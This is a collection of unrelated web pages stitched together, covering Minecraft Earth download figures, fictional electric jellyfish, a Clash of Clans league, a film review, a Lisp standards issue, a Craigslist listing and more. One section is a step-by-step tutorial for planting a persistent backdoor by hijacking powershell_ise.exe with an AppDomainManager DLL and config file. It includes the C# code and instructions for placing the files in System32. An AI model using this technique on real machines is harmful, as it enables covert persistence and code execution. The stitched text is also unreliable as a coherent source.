Minecraft Earth has been downloaded around 2.5 million times
Minecraft Earth is doing quite well.
by Asher MadanWhat you need to know
- Minecraft Earth is an incredibly popular mobile game that is still in early access.
- It launched in the United Kingdom and United States recently.
- You can get it for free through the Apple App and Google Play stores.
- So far, it's been downloaded around 2.5 million times.
Minecraft Earth is steadily rolling out across the globe as an early access preview. Recently, it launched in the United Kingdom and the United States, and it's already been adopted by millions.
Sensor Tower keeps track of downloads and today, the team said that Minecraft Earth was downloaded 1.4 million times the week following the American launch. The total downloads is approaching 2.5 million. You can read an excerpt from the report below.
In the week following its November 12 launch in the United States, location-based augmented reality game Minecraft Earth has generated 1.4 million downloads across the App Store and Google Play in all available markets, according to Sensor Tower Store Intelligence data. Developer Mojang has been steadily rolling out the game in early access across the globe for the last month. To date, total downloads have reached close to 2.5 million.
It's great to see that Minecraft Earth is doing so well. Let's see if it becomes as popular as Pokémon Go. Do you play Minecraft Earth? Are you interested in the game? Let us know.
Block By Block
Minecraft Earth
Minecraft becomes a reality with AR.
Minecraft Earth takes virtual building, exploration, and discoveries to the next level. Microsoft's upcoming augmented reality flavor of the hit blockbuster brings Minecraft into the real world, rivaling successes of Pokemon GO.
We may earn a commission for purchases using our links. Learn more.


You don't want to mess with jellyfish. Not that they're easy to annoy — they don't even have brains — but if you get in the way of one of their tentacles, you can expect a nasty, venomous sting.
That's true in media too, but with one little difference. When a fictional character has a run-in with a jelly it often sets their hair standing on end, with sparks flying or some other electric effect surrounding the victim — as if they'd just gotten a dose of Harmless Electrocution.
In many cases, it's just a visual or audio effect used to show the viewer that the stinging is actually occurring and that said stinging feels like getting shocked. Other times the jellyfish is actually shown to have a literal electric discharge, as if it were an electric eel — perhaps even a psychotic one.
Complicating matters are the jellyfish relatives known as comb jellies, some species of which look like they are wired up with LED light bulbs as a result of light diffraction in their tissues.
Compare to The Coconut Effect and Thunder Beetle (particularly fireflies).
Examples
- In Yu-Gi-Oh!, Yugi's duel with Mako Tsunami featured a jellyfish that not only was electrified, but also absorbed the electrical attack of one of Yugi's monsters.
- In one episode of Di Gi Charat Nyo, Gema falls in love with a jellyfish, and when he grabs one of her tentacles, it's clear that he's being shocked.
- In Kaiketsu Zorori, Zorori tries to trap a cat prince by passing some jellyfishes as ramen noodle bowls. The jellyfishes hold him in place and shock him continuously, as Zorori wants him to sign some paper. Later, the cat prince uses the jellyfishes as a power source for a hair dryer so he can defeat a giant kappa.
- Gekka, the flying psychic electric jellyfish from Kyouran Kazoku Nikki. Gotta catch 'em all!
- The Finding Nemo / Finding Dory fanfic Dory: Fighting Love features an electric anemone, that apparently shoots lightning bolts and turns Dory's boobs into fish sticks.
- In Finding Nemo, all of the "stings" from the jellyfish have a "zap" sound effect, and they appear as burns on Dory's fins after they shock her. This is probably for Rule of Perception; the dialogue is specific about the stings delivering venom, but we the audience can't actually see that, or tell that the fish are getting stung without sound effects. The anemone in Finding Dory similarly has an electric sound effect when touched.
- Interestingly, the burnlike scars are Truth in Television—real life jellyfish stings can leave nasty scarring that can (though not always) make one look as though they've been burned severely.
- The Jellyfish in Shark Tale also have paralyzing zaps.
- The film adaptation of Stormbreaker includes a Portuguese Man-O'War. Not only does it look completely inaccurate (the Man-O'War isn't even a jellyfish) but it sting/shocks a fish at one point and reduces it to a skeleton.
- The Man-O'War is also in the book, but it is portrayed realistically.
- Surprisingly averted in the "Giant Jumbo Jellyfish" scene from Birdemic 2: The Resurrection, probably because they didn't have a graphic for that. However, the extent of the stings is ridiculous, given that the victim has stings all over her arm (which the jellyfish never touched).
- A later episode of The X-Files featured microscopic jellyfish that accumulated on the skins of people in a subway network's tunnels, eventually causing crackling, coruscating electrical burns that melt tissue. Justified (clumsily) with the Techno Babble claim that the jellyfish weren't the source of the electricity; rather, they caused massive static discarges in the coated person's sweat.
- The Doctor Who episode "Let's Kill Hitler" had robotic/cybernetic jellyfish as part of the Tesselecta's defenses. And yes, they were electric.
- Played with in The Almighty Johnsons. When Axl (who is Odin) goes into the water and gets some bad electric burns, his date assumes it was jellyfish, which Axl clearly doesn't quite believe. A few episodes later, we find out that it was actually Ægir (personification of the sea) expressing his disapproval at the situation with Jörmungandr, which he blames on Odin.
Ægir: Next time you throw a metaphorical sea serpent into the ocean, maybe look a thousand years into the future to when it's a grown metaphorical sea serpent!
- The Adventure Zone: Balance: the Voidfish is capable of discharging a shock so powerful that when it electrocuted Mannequin!Magnus, his backup body felt it.
- The Jitterjellies in Drakensang Online which fire ranged lightning bolts that cause stun on impact as well as explode into lightning upon death.
- In Graffiti Kingdom, two of the mooks into which you can transform are electric jellyfish, though one of them comes from a set of themed elemental jellyfish.
- Super Mario Bros.:
- Super Mario Bros. 3 had Jelectros.
- The Preying Mantas in Super Mario World 2: Yoshi's Island.
- Super Mario RPG featured Leukos, which could actually fire thunderbolts.
- Super Mario Galaxy brings back the Preying Mantas as well as enormous nondescript jellies that visibly surge with electricity.
- The Legend of Zelda games have the Biri and Bari enemies. Direct contact with them, whether by just touching them or striking them with the sword, will result in Link getting electrocuted. In The Legend of Zelda: Twilight Princess, you can kill them only with the Clawshot.
- In fact, there are three versions. Bari are a lot bigger than Biri, and when killed, split into several Biri. And then there's the positively gigantic boss version, Barinade, in The Legend of Zelda: Ocarina of Time.
- Anytime you see a jellyfish in Final Fantasy, it will have an electric attack.
- The Jellies from Beyond Good & Evil shock Pey'j the first time you encounter them. It's unclear if they actually use electrical attacks outside the one cutscene.
- Sub Culture had electric jellyfish, too, justified as mutations resulting from pollution.
- One of the Mythological Units in Age of Mythology is a giant Man-O-War that shoots chain lightning. As the civilisation that has access to these units also has access to animated clay creatures, mechanical knights, nymphs that ride sharks into battle, and acid-spurting blobs covered in eyes, this is at least more reasonable than other examples.
- Several kinds of Noise in The World Ends with You are this type. And they drop the "Jelly" pin, whic has you scratch a space to release an electric charge.
- Electric jellyfish inhabit the water levels in Ristar. But were you really expecting scientific accuracy from a video game with an anthropomorphic star as the main character?
- Aquaria has at least one species of electric jellyfish enemy.
- Mega Man X
- In Mega Man X8 one of the bosses is an electric jellyfish-like robot that bears the name Gigabolt Man-O-War. Emphasis on the "-like" part as a Man-O-War is not actually a jellyfish.
- Mega Man X2 has the Jelly Seekers in Bubble Crab's stage.
- Averted in the Mega Man Battle Network series, where electricity is the one element not used by the Jelly viruses, whereas fire is.
- Metal Slug 3 features a lot of nasty, mutant jellyfishes during the Slug Mariner route in stage 1. Metal Slug 5 also features electric jellyfish too.
- The jellyfish boss in E.V.O.: Search for Eden attacks this way, complete with an electric crack sound effect. Regular jellies just whip you with their tentacles.
- Metroids from the Metroid series subvert, invert, and play this trope straight. They're space jellyfish with claws instead of tentacles, and seem to drain life force, energy, or electricity from their prey. When they grow into Gamma Metroids, which look more like bugs than jellyfish, they gain the ability to electrocute enemies. Read about them for yourself. They're quite the original species.
- Prevalent enemies in the underwater levels of Alundra 2.
- Kirby's Dream Land 2 gives us Master Green, a jellyfish miniboss that when swallowed gives the Spark ability.
- There's also the Jellies from Kirby's Epic Yarn.
- The Ice Mountain Zone in Sonic Advance has these. Justified because they're robots.
- One of the monsters (Crown Lance or something) in Final Fantasy VII is a jellyfish that uses electric spells and absorbs electricity. The more dangerous aspect, however, is its ability to petrify your characters.
- The Freddi Fish series has some in Freddi Fish and Luther's Water Worries and in Freddi Fish 4.
- Donkey Kong Jungle Beat has regular jellyfish, which can easily be destroyed, and electric Jellyfish, which can only be destroyed by an Orca whale.
- Donkey Kong Country Returns has Jellybobs in the Beach Levels. Not only do they deliver electric shocks, but they float in the air as well.
- The Simpsons Game plays with this trope when the family encounters King Snorky, a dolphin, at the Springfield aquarium. You have to drop jellyfish into his tank to electrocute him; however, the jellyfish themselves aren't electrified and must be dropped into the electric eel tank first.
- The seventh boss of Blaster Master: Enemy Below is an electric jellyfish. He only moves around and shoots an easily dodged lightning bolt.
- Snailiad has these as an Invincible Minor Minion, at least until you get the Devastator.
- Command & Conquer: Tiberian Sun has the Tiberian Floater, a jellyfish that floats through the air and can immobilize vehicles with electric shocks. Could be justified in that it's a mutant that was genetically engineered by CABAL.
- In Risk of Rain, the flying jellyfish enemy will shock you if you touch them, it deals little damage by itself but can be hazardous due to their tendency to attack in swarms. Oddly, their huge boss cousin "Wandering Vagrant" has no such Collision Damage but makes up for it with its size and the ability to shoot energy orbs.
- Something Else: One of the obstacles in Electricave. Since they are sprite swaps of the Boo Ceiling, they are annoying to deal with.
- The Flintstones for the Sega Genesis has jellyfish that project electric fields all around them in the Under the Sea stage.
- Stingers in Darkest Dungeon are eldritch jellyfish with the Shocker ability, which only deals minor damage but also stuns the target.
- One naval unit in Age of Mythology, the Man O' War, resembles a giant jellyfish. It attacks by firing lightning bolts from one of its tentacles.
- You'd think Pokémon would be all over this trope, but surprisingly, it's mostly averted. Of the two families based on jellyfish, only the Frillish line can learn an electric attacknote , and the very common Tentacool line have a more realistic poison typing. Being water types, both of them are actually WEAK to electricity.
- Nihilego, a non-Water-type jellyfish Ultra Beast, is also able to learn Electric-type moves, despite not being an Electric-type either.
- Chantelise: One of the bosses that can shoot a line of electricity out of its Combat Tentacles.
- Recettear: An Item Shop's Tale: A game in the same universe has the same boss, but also a harder one that is in red.
- Brave Hero Yuusha: Electroozies, which are floating Oozies that resemble jellyfish.
- Some electrified jellyfishes act as hazard during the Wii Party minigame Pearl Plunder.
- Octogeddon: Several electric jellyfishes can appear in various levels. They are invincible and slowly approach Octogeddon. Unless blown away with the Elephant tentacle, they will zap and paralyse the octopus for a few seconds.
- Don't Starve: The Shipwrecked expansion adds electric jellyfish.
- Tak and the Power of Juju: These act as Border Patrol in the water on Chicken Island.
- Webcomic Surprising Octeal references this trope with Kimiko, a girl who loves jellyfish and developed a power to generate electricity due to her misconception of jellyfish.
- In Hector's World, when Tama the jellyfish stings things, there's a white light and a zapping noise.
- Total Drama features a pool of jellyfish that has electricity visibly surging through the water.
- In SpongeBob SquarePants, the jellyfish's attacks are always shown as bolts of electricity, even though they're described as "stings". They've even burned a few characters.
- One of the newest aliens in Ben 10: Ultimate Alien, called AmpFibian, seems to be this.
- The alien that impregnates Carl in The Adventures of Jimmy Neutron: Boy Genius.
- The Hidroidmedusas from the first episode of Season 4 Star Wars: The Clone Wars. Justified because they're "half machine".
- Jelly from Commander Clark.
- According to some accounts, jellyfish stings can certainly feel like an electric shock or a severe burn, and can even leave scars that reinforce this idea. Obviously, this isn't the result of an actual electric shock, though, but the venom in the jelly's tentacles that attacks the nervous system to paralyze potential prey.


What is Global Clash Cup?
Global Clash Cup (GCC) is a competitive league in Clash Of Clans with organized play opportunities across a range of Town Hall levels. Multiple divisions are offered each season to accommodate shifting interests within the Clash Of Clans community.
At the core of GCC is a strong commitment to Fair-Play with a minimum amount of administrative overhead to achieve a Fair-Play environment. We strive to make it as easy as possible for clans to participate in organized and fair wars, and are continuously innovating to reduce the administrative burden on clans and the staff.
GCC is a welcoming community, encouraging participation for new clans as well as those with extensive league-play experience. It comprises of about 25 people serving as volunteers. Rouletabille is its founder, creator and leader. Residing in France, he has been a dedicated Clash Of Clans player for 7 years and is committed to continuously improving the league operation experience for both the players and the staff.
About the Staff
Hi, I am Kristine, gamer name KristineTheMean. I live in Pennsylvania, USA and have been clashing for almost 8 years. I'm a streamer, and stream league wars and my daily gameplay on Twitch (and other platforms). I have a TH7, TH9, TH10, TH11, 2 TH12s, and 2 TH13s. I joined Global Clash Cup staff in April 2020, near the end of Season 2 to help out with Season 3.
Hello! I am Kun Paigu or Paigu Kun from China/Tibet/Nepal. I have been playing Clash since 2016-17, so mostly 2.5 years or so. I'm currently playing with 天子传奇, 二十四 史 (retired unfortunately) and leading the clan Shadow Warriors. I play TH11 & 12. I joined the Global Clash Cup as a Moderator and Negotiator back in the days at the end of Season 1.
Hey, I'm Mundelino from Düsseldorf, Germany. I played Clash of Clans for almost 7 years now. I've fought with well-known clans and improved my attacks every time. I'm currently playing a TH5, TH6, TH7, TH9 and TH12. I joined GCC in the middle of Season 2 as a Negotiator and now proud as a Division Manager of the Shingle Division.
Hi, my name is Alessandro. I'm Italian, from Milan and been playing Clash of Clans for 8 years. I was a Co-leader in FairyTail where we won NDL twice and then retired. Currently I'm playing and providing base-building services on Town Hall 13. I joined Global Clash Cup as a Division Manager before the selection of clans for Season 3.
Hey, I'm Alex (Clash With Style /Stylish Designs). I'm a 21 year old from Scotland, UK. I've been playing and creating content for clash since December 2013. I mainly chill in the EYG family clans. I've got many Town Halls: TH13, TH12, TH10, 3 TH9s, 2 TH8s and a TH7. I joined GCC staff team as a designer for the Season 3.
Hey! My name is Kartikeya. I'm an average Clash of Clans player who had his peak with the game back when the game was newer. Currently, I work as the Global Clash Cup bot developer to help the tournament run smooth and well. I love being with GCC with an opportunity to strengthen my skills and interact with the staff from all over the world. Can't wait for the amazing seasons to come!
Support
Global Clash Cup appreciates any and all donations, of any amount. The money is used for prize pools, to fund our ongoing operational needs (bot development, website hosting, graphic artists) and developments to improve the league experience for everyone. When you're ready to make a donation, please direct message a staff member to earn the Donator role in the server.
Or alternatively click on Donations below or here to donate now.


THE EXPERT
USA. 1994. Director - Rick Avery, Screenplay - Max Allan Collins, Story - Jill Gatsby, Producers - Nicholas Barbaro & Andrew Garroni, Photography - Levie Isaacks, Music - Ashley Irwin, Special Effects Supervisor - Ken Estes, Production Design - Clay Callaway. Production Company - Axis Films International/David Films. Jeff Speakman (Jack Lomax), Michael Shaner (Martin Kagan), James Brolin (Warden Munsey), Alex Datcher (Dr Alice Barnes), Elizabeth Gracen (Liz Pierce), Wolfgang Bodison (Dan Mason), Norm Woodel (Bill Loomis), Michelle Nagy (Jenny Lomax), Jim Varney (Snake)
Plot: SWAT team commander Jack Lomax is shattered to find the body of his younger sister, having been murdered by psychopath Martin Kagan. Lomax's testimony is pivotal in putting Kagan away in Westgate Penitentiary under the ultra-hardline Warden Munsey. But after ardently liberal assistant governor Alice Barnes is appointed to Westgate and looks certain to have Kagan sent to a soft psychiatric rehabilitation facility, Lomax decides to take the law into his own hands and break into Westgate and kill Kagan.
`The Expert' is a direct-to-video action film that suffers from an identity crisis. It seems a peculiarly divided film with the script that gives evidence of having wanted to go in one direction and a director that has insisted on taking it in different directions. It reminds one a good deal of William Friedkin's little-seen serial killer courtroom drama `Rampage' (1987) - but having been conflated into an action movie. On one hand the film gives the impression of wanting to put a serial killer into the courtroom and engage in a discussion (for which read demolition) of the various psychiatric vs free will arguments over the insanity plea, and to elsewhere similarly engage various associated issues like the liberal vs the hardline penal system, the liberal parole system, the death penalty and whether child abuse can be offered as exculpatory of disturbed adult behaviour. The arguments are clearly swayed in favour of the right wing libertarian soapbox with Shaner's killer painted as a smiling psychopath who gleefully abuses and twists the liberal system to his advantage. The only solution for such a contemptuous abuser of the system, the film sees, is vigilante justice - for hero Speakman to break into the prison and execute killer Shaner himself after Shaner manages to fool the system.
On the other hand however the film doesn't entirely make its arguments black-and-white. The lines are blurred far more than say they are in the similar `Just Cause'. In the prison, for instance, Alex Datcher's recklessly liberal reformer and the sadistically hardline warden (James Brolin in a rare villainous role and having the time of his life) are both seen as being as bad as one another, with the film sitting in the middle and taking neither's side. Similarly the scenes surrounding the death sentencing of one of the inmates are portrayed in sympathetic terms that suggest that the victim may well have been sentenced innocently.
Unfortunately the film gives the impression of starting with a script that wanted to at least raise some issues, if not exactly deal with them in a profoundly original or even that literate a way, that has been taken over and turned into an action movie. It is only really finally in the latter quarter that the film breaks away from being a courtroom/prison drama to open out into the action film that it has been wanting to be all along. Up until that point the insertion of gratuitous action scenes badly jars. Particularly obnoxious are a couple of sequences - one where hero Speakman slaughters, rather than disarms, every single one of a group of armed hillbillies, and another where he beats up and smashes the car of a group of drunks who run him down in alley. The unquestioning righteousness of these acts, sanctified solely by the fact that they are being conducted by the hero, is repellent. And in the end whatever argument the script may have offered up to justify its case in having the hero, given no redress for his hurt in the face of a frustrating liberal justice system, take justice into his own hands, is reduced to the most mindless form of brutal vigilantism.
Nor is it ever made clear who the titular expert is meant to be.
Copyright 1998 Richard Scheib
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rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Related links: index of all rec.arts.movies.reviews reviews


Not quite lost to time just yet: the old Drupal databases' contents of einit.org and kyuba.org are now available for browsing.
Back in the good ol' days, I used to hack on a little project called eINIT. That was supposed to turn into a nice little replacement for the olden sysvinit. We even got it to work rather swell before it was abandoned. But then there was a bit of a snafu with an ex-developer and the associated domain. Things went downhill from there.
Earlier this week I stumbled upon a nice blast from the past, however: the database server that I had set up for einit.org was still running! Considering how much spam the sucker accumulated, I didn't exactly feel like setting up another Drupal frontend for it, but it turned out to be fairly straightforward to extract all the data from that database to an .atom bundle containing all the pages in XHTML. I figured it'd be nice to put up the content in that bundle on this here blog - for old times' sake.
The old kyuba.org domain ended up getting lost, too. The contents had been moved to becquerel.org, which is also using an old version of Drupal. But, honestly, I'm not really comfortable with Drupal anymore. Plain XHTML files with a set of XSLTs for the presentation just seems a whole lot cleaner.
So, since I'd already written that extraction script for Drupal, I put it to use on that kyuba.org/becquerel.org database as well. The results have also been added to the archives.
As it turns out, the whole process was quite a bit more involved than it should've been. So I'll be uploading that conversion script I wrote with a bit of an explanation as to how it works sometime soon.
For this particular task I also managed to find a nice, slick way of hosting pages directly from an .atom file - using it as an archive for XHTML source files, so to speak. I'll also be writing a short article on how to do that with nginx, as that seems to be a really useful technique.
Also, I've been able to reacquire the old einit.org and kyuba.org domains! Ah yes, good times...


Sy-Yen Kuo
Welcome to Sy-Yen Kuo Personal Website
Home
Publications
Awards and Honors
Editorship
Activities
Projects
Editorship
Guest Editor, ACM Transactions on Cyber-physical Systems, Special Issue on Dependability in Cyber Physical Systems and Applications, 2017-2018
Guest Editor, IEEE Transactions on Big Data, Special Issue on Trustworthiness in Big Data and Cloud Computing Systems, 2016-2017
Guest Editor, Information Sciences, Special Issue on Dependability in Parallel and Distributed Systems and Applications, Feb. 2017
Editor, IEEE Transactions on Dependable and Secure Computing, 2004 - 2008 ¡@
Guest Editor, IEEE Journal of Selected Areas in Communications (JSAC), special issue on P2P communications and applications, 2005 - 2006
Guest Editor, IEE Proceedings-Communications, Special Issue on Wireless Mobile Networks: Cross-Layer Communication, 2005 - 2006
Guest Editor, IEEE Journal of Selected Areas in Communications (JSAC), special issue on Wireless Overlay Networks Based on Mobile IPv6, 2004 - 2005
Guest Editor, Computer Communications, special issue on IPv6: The Next Generation Internet Protocol, 2004 - 2005
Guest Editor, ACM/Baltzer Journal of Mobile Networks and Applications (MONET), special issue on Mobile Networking through IPv6, 2002
Editor, Journal of Information Science and Engineering (SCI), 2005 - 2009
Editor, Journal of Internet Technology (SCI), 2000 - 2012
Editor, Journal of Computer Science and Technology (SCI), 2000 - present
Editor, International Journal of Security and Networks, 2006 - present
Editor, Internet of Things, 2010 - present
2017 @ NTU DSN Lab, All rights reserved


4 hijack system.Net program powershell_ise.exe
Next, you need to find the system .Net program available, and try to implement a persistent backdoor.
Here select powershell_ise.exe as a demo
Note: Powershell_ise.exe: full name Windows PowerShell Integrated Scripting Environment (integrated scripting environment)
Graphical interface, mainly used to write and debug powershell scripts
The operation interface is as follows
1, add a reference
Project - right click - add a reference, select System.Windows.Forms
As shown below
The code is modified as follows:
using System;
using System.Windows.Forms;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
MessageBox.Show("1");
}
}
}
Recompile and generate DomainManager.dll
2, test
Hijack program.exe successfully, as shown below
Hijack powershell_ise.exe:
(1) Test the test directory
Copy powershell_ise.exe toc:\test
Create powershell_ise.exe.config in the same directory, the config file can be properly streamlined, and the content is as follows:
<?xml version="1.0"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>
c:\testStart powershell_ise.exe in the directory
Successful hijacking powershell_ise.exe
(2) Test the default directory of powershell_ise.exe
The path is as follows:
C:\Windows\System32\WindowsPowerShell\v1.0
Requires administrator privileges to create hijacked files DomainManager.dll and powershell_ise.exe.config in the default directory
Compile any powershell script, start powershell_ise.exe by default, successfully hijack


Orpheus allows users to experience music as a group in a whole new experience
What is Orpheus?Orpheus is a multi-user music recommendation system based on mood. An implicit model is created using collaborative filtering by collecting the listening history of users and outputting a recommendation based on that listening history. To get a group recommendation, an average aggregation strategy was used on heterogenous groups.
Get Started!Feedbacks? Bugs? Please let us know!
516-662-8695


Find your feel good fragrance
Buy 2 Get 1 Free
All Large Jar, Tumbler and Vase Candles
To Shop Online Now, copy and paste:
http://links.mkt1917.com/ctt?kn=26&ms=MTI2MDQxNzIS1&r=Mzc1MTMwMDUwMTIS1&b=2&j=NjYzNTgwNTMxS0&mt=1&rt=0
into your browser
In-Store
This Weekend Only!
January 23 & 24
3 for $12
Select Forms - All Fragrances
To Find a Store, copy and paste:
http://links.mkt1917.com/ctt?kn=6&ms=MTI2MDQxNzIS1&r=Mzc1MTMwMDUwMTIS1&b=2&j=NjYzNTgwNTMxS0&mt=1&rt=0
into your browser


Issue: COLON-NUMBERReferences: Parsing of Numbers and Symbols (p339-341, 343-344)
Category: CLARIFICATION
Edit history: 22-Oct-87, Version 1 by Pitman
Status: For Internal Discussion
Problem Description:
CLtL is unclear about whether a colon followed by a potential number
is a potential number. There are passages which seem to address this
issue unambiguously but fail.
Proposal (COLON-NUMBER:UNDEFINED):
Clarify that syntax involving a leading colon followed by a potential
number is not well-defined. That is, use of notation such as :1, :1/2,
and :2^3 in a position where an expression appropriate for READ is
expected is an error.
Rationale:
This makes the status quo apparent.
Current Practice:
Some implementations, such as Symbolics Lisp, claim the right to
interpret this as an ``is an error'' situation where their
upward-compatible extension is to parse ``:1'' as the number 1
(incidentally, but uninterestingly, expressed in the KEYWORD package).
Other implementations tokenize ``:1'' as a single token, identify it
as a symbol, and then parse it as :\1 would be parsed.
Adoption Cost:
None. This clarification forces no implementations to change.
Benefits:
Programmer expectations that any useful behavior can be portably relied
upon in this pathological case should be soundly trounced.
Conversion Cost:
Slight. Some users may have mistakenly believed that this was an aspect
of the language that was guaranteed and may have written programs that
exploited that belief. Such incidences are probably very rare, however.
Also, even in the few cases where such code fortuitously worked,
implementations are likely to continue to support it so such code will
probably continue to fortuitously work in many of those rare situations.
Aesthetics:
Arguably a slight improvement in visual aesthetics. What was already
a pretty marginal syntax is discouraged.
Discussion:
Pitman supports this clarification. He thinks this issue is not a big
deal, but it does crop up often enough to be a nuisance. It would be
nice to have everyone acknowledge a unified position, even if that only
meant agreeing to disagree.


--- layout: page title: About subtitle: "Inside information" css: "/css/aboutme.css" ---
Graduate Student at Center for Data Science, New York University
Experienced in (and constantly learning) driving key product and business decisions with empirical insights extracted from data. Proficient in explanatory modeling, predictive modeling, optimization, and/or machine learning analytics techniques, scaling up supervised learning problems, and economic analysis of data assets and data science strategies
My CV (updated 01/14/2020) page lists some of my work. You can learn more about my work via the projects (updated 08/11/2019) page
Born in Chandigarh, India. Did my schooling from Chandigarh and Bachelors from IIT Delhi, India. I moved to New York in 2018 to pursue MS in Data Science at NYU


Nock Slider
This is the most basic setup required to get
nockSlider
to work.
Basic
With custom buttons
With key events
<
>


sort by most recent best matchNext >> Found: 189 Displaying: 1 - 100
[ 1 | 2 ]Jan 21 - Planet Fitness anyone? (w4m, w4w) - w4w - 37 - (N. Austin area & RR area)
Jan 21 - Main Event/Dave and busters/movie - w4m - 26 - (North Austin)
Jan 21 - friends - w4m - 25 - (south)
Jan 21 - Looking for a push to the gym - w4m - 55 - (Planet Fitness Riverside) pic
Jan 21 - Mondays are wack (smoke me out:) - w4m - 18 - (Round Rock)
Jan 21 - Mondays are wack (smoke me out:) - w4m - 18 - (Round Rock)
Jan 21 - Real live woman here, so dont ask!!! - w4m - 38 - (RR)
Jan 21 - Looking for text or email buddy - w4m - 29 -
Jan 21 - Could Use a Friend... - w4m - 40 - (Austin)
Jan 21 - Secret friend - w4m - 36 - (Austin)
Jan 21 - Intelligent, builder, engineer types - w4m - 22 - (78704) pic
Jan 20 - Tell me your story. - w4m - 20 - (Bastrop)
Jan 20 - friends?? - w4m - 33 - (S Austin)
Jan 20 - Looking for some nerdy friends - w4m - 24 - (North Austin)
Jan 20 - Just seeking a friendship - w4m - (Austin)
Jan 20 - Guild Wars - w4m - 29 - (Austin)
Jan 20 - SWF SEEKING NEW BFF--South Please :) - w4m - 31 - (78704) pic
Jan 20 - Pure adventure girl outdoor adventures with likeminded male or female - w4m - 34 - (Mt Bonnell in Austin) pic
Jan 20 - Gamers wanted. - m4mw - (SE Austin)
Jan 20 - Anonymous chat... - w4m - 35 - (Austin)
Jan 20 - In a funk - w4m - (Georgetown )
Jan 20 - Steal me away... - w4m - 26 -
Jan 20 - Not sure - w4m - 26 -
Jan 20 - looking for a workout partner - w4m - 33 - (townlake)
Jan 20 - Emotionally Unavailable - w4m - 36 - (Downtown)
Jan 20 - Work work work - w4m - 37 - (Austin)
Jan 19 - Need new friends! - w4m - 39 - (North Austin)
Jan 19 - My Saturday is open! - w4m - 23 - (Austin)
Jan 19 - New to Austin - Soon - w4m - 29 - (Austin)
Jan 19 - Looking for a travel partner - w4m - 40 - (Atx)
Jan 19 - I just want to boogie - w4m - 27 - (Downtown)
Jan 19 - Dance Partner - w4m - 20 - (Pflugerville)
Jan 18 - Questioning - w4m - 34 - (Austin)
Jan 18 - Piano Player Needed - w4m - 37 - (NW Austin)
Jan 18 - led zeppelin 2 - w4m - 22 - (austin)
Jan 18 - Looking for motivation - w4m - 62 - (Round Rock)
Jan 17 - swf looking for swm to hang out with - w4m - 40 - (cedar park)
Jan 17 - Want to Chat!!!!!!!!! - w4m - 44 - (My House)
Jan 17 - Bored let's talk - w4m - 37 - (Northwest Austin)
Jan 17 - Wanna see "Mama" with me Friday? - w4m - 52 - (Austin)
Jan 17 - txt - w4m - 22 - (atx)
Jan 16 - Salsa dance partner? - w4m - 33 - (pflugerville)
Jan 16 - Lonely - Day Time Chat/Text - w4m - 40 - (Austin)
Jan 16 - movie - w4m - 20 - (N. Austin)
Jan 16 - text/ chat friends - w4m - 26 -
Jan 16 - Friends First - w4m - 50 - (Rollingwood)
Jan 16 - conversation, companionship, activities - w4m - 58 - (central austin)
Jan 16 - Side Bar Saturday Night - w4m - (austin)
Jan 15 - Seeking kindred - w4m - 37 - (Austin)
Jan 14 - Want a chat buddy - w4m - 33 - (ATX)
Jan 14 - Seeking a Really Good Country Dance Partner - w4m - 51 - (SW Austin / Hill Country)
Jan 14 - looking for a guy to chat/text - w4m - 25 - (North Austin)
Jan 14 - Hang Out Buddy - w4m - 44 - (North Austin) pic
Jan 14 - hola - w4m - 36 - (s austin)
Jan 14 - OMG...I'm sooooo bored at work! - w4m - 33 - (Uughgh)
Jan 13 - My heart is pounding. Like a phone book in a dryer. - w4m - 42 -
Jan 13 - Artist type new to Austin - w4m - 34 - (South Austin) pic
Jan 13 - Abcdefghijklmnopqrstuvwxyz - w4m - 19 - (NW austin )
Jan 13 - friends who like to have fun! - w4m - 20 - (austin)
Jan 13 - I just want to boogie - w4m - 27 - (Downtown)
Jan 13 - UFC 157 and 158 in Feb / Mar - w4m - 41 - (N. Austin) pic
Jan 13 - Ice Cream and Conversation - w4m - 41 - (South Austin)
Jan 12 - Can We Talk - w4m - 39 - (NW)
Jan 12 - Are you single? Do you seek adventure? - w4m - 31 - (Austin)
Jan 12 - What's up - w4m - (Austin)
Jan 12 - A fish out of water... - w4m - 29 - (Georgetown) pic
Jan 11 - Brain Games - w4m - 99 - (Austin) pic
Jan 11 - Workout partner needed - w4m - 26 - (Cedar Park)
Jan 11 - just need some new friends - w4m - 24 - (austin)
Jan 11 - It will be a nice day - w4m - 26 - (Whole Foods N. Lamar) pic
Jan 11 - Friendly chat - w4m - 22 - (Atx)
Jan 10 - Let' s talk. - w4m - 21 - (Austin) pic
Jan 10 - looking for a foodie friend - w4m - 35 -
Jan 10 - Bah nah naaaa, bah na na na - w4m - (Round Rock )
Jan 10 - Is it Friday yet?? - w4m -
Jan 9 - I don't know... - w4m - 23 - (N.Austin)
Jan 9 - Hi there! - w4m - 33 - (kinda north)
Jan 8 - In Austin 2/7 - 2/12 (from Miami) - w4m - 26 - (Austin)
Jan 8 - BBW girl (: - w4m - 23 - (austin)
Jan 8 - Take me to lunch! :) - w4m - 26 - (West Lake)
Jan 8 - looking for someone to hang out with today - w4m - 19 - (south austin) pic
Jan 8 - It's a rainy day.. - w4m - 19 - (Austin)
Jan 8 - anyone awake? - w4m - 23 - (Austin)
Jan 7 - friends first, anyone think like this - w4m - 50 - (austin)
Jan 7 - Just Like Arcadia - w4m - (Messier 23)
Jan 7 - Workout Partner - w4m - (Northwest)
Jan 7 - Polish and pearls! - w4m - 22 -
Jan 7 - New friends - w4m - 19 - (Central Austin)
Jan 6 - California Artsy Girl - w4m - 25 - (anywhere)
Jan 5 - Any decent men out there? - w4m - 40 - (Austin)
Jan 5 - Cards - w4m - 36 - (NW Austin)
Jan 5 - Running Buddy - w4m - 25 - (Hyde Park)
Jan 5 - Saturday chat - w4m - 30 - (Austin)
Jan 5 - Serious workout partner - w4m - 20 -
Jan 4 - Django tonight? - w4m - 27 - (Central or north Austin)
Jan 4 - burn like a roman candle - w4m - (austin)
Jan 4 - Gardening, Walking, Fishing, and Dancing - w4m - 54 - (Round Rock)
Jan 4 - Workout Buddy-Planet Fitness - w4m - 41 - (Slaughter Lane)
Jan 4 - Who is awake? 3:57am - w4m - 22 -
Jan 3 - hello Austin - w4m - 37 - (austin)
sort by most recent best matchNext >> Found: 189 Displaying: 1 - 100
